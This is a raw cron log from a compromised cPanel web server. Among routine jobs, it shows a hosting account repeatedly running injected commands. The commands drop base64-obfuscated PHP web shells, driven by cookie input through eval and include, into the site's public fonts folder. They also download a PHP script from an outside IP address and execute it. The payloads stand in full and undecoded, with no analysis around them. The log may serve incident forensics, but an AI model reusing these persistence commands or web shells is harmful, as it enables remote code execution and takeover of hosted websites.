Sep  4 14:24:02 ip-184-168-122-23 CROND[5886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:24:02 ip-184-168-122-23 CROND[5882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:25:02 ip-184-168-122-23 CROND[5976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:25:02 ip-184-168-122-23 CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:25:02 ip-184-168-122-23 CROND[5980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:25:02 ip-184-168-122-23 CROND[5978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:25:02 ip-184-168-122-23 CROND[5982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:25:02 ip-184-168-122-23 CROND[5981]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 14:25:02 ip-184-168-122-23 CROND[5983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:26:01 ip-184-168-122-23 CROND[6105]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  4 14:26:01 ip-184-168-122-23 CROND[6111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:26:01 ip-184-168-122-23 CROND[6108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:26:01 ip-184-168-122-23 CROND[6110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:26:01 ip-184-168-122-23 CROND[6109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:26:01 ip-184-168-122-23 CROND[6112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  4 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  4 14:27:02 ip-184-168-122-23 CROND[6287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:27:02 ip-184-168-122-23 CROND[6285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:27:02 ip-184-168-122-23 CROND[6288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:27:02 ip-184-168-122-23 CROND[6286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:28:01 ip-184-168-122-23 CROND[6655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:28:01 ip-184-168-122-23 CROND[6656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:28:01 ip-184-168-122-23 CROND[6657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:28:01 ip-184-168-122-23 CROND[6658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:28:01 ip-184-168-122-23 CROND[6659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:29:01 ip-184-168-122-23 CROND[6829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:29:01 ip-184-168-122-23 CROND[6830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:29:01 ip-184-168-122-23 CROND[6828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:29:01 ip-184-168-122-23 CROND[6831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:30:01 ip-184-168-122-23 CROND[6924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:30:01 ip-184-168-122-23 CROND[6922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:30:01 ip-184-168-122-23 CROND[6926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:31:01 ip-184-168-122-23 CROND[7184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:31:01 ip-184-168-122-23 CROND[7185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:31:01 ip-184-168-122-23 CROND[7183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:31:01 ip-184-168-122-23 CROND[7187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:31:01 ip-184-168-122-23 CROND[7186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:32:01 ip-184-168-122-23 CROND[7379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:32:01 ip-184-168-122-23 CROND[7381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:32:01 ip-184-168-122-23 CROND[7383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:32:01 ip-184-168-122-23 CROND[7382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:32:01 ip-184-168-122-23 CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:33:01 ip-184-168-122-23 CROND[7541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:33:01 ip-184-168-122-23 CROND[7542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:33:01 ip-184-168-122-23 CROND[7544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:33:01 ip-184-168-122-23 CROND[7545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:34:01 ip-184-168-122-23 CROND[7704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:34:01 ip-184-168-122-23 CROND[7705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:34:01 ip-184-168-122-23 CROND[7706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:34:01 ip-184-168-122-23 CROND[7707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:34:01 ip-184-168-122-23 CROND[7709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:35:01 ip-184-168-122-23 CROND[7825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7828]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:35:01 ip-184-168-122-23 CROND[7833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:36:01 ip-184-168-122-23 CROND[7958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:36:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:36:01 ip-184-168-122-23 CROND[7959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
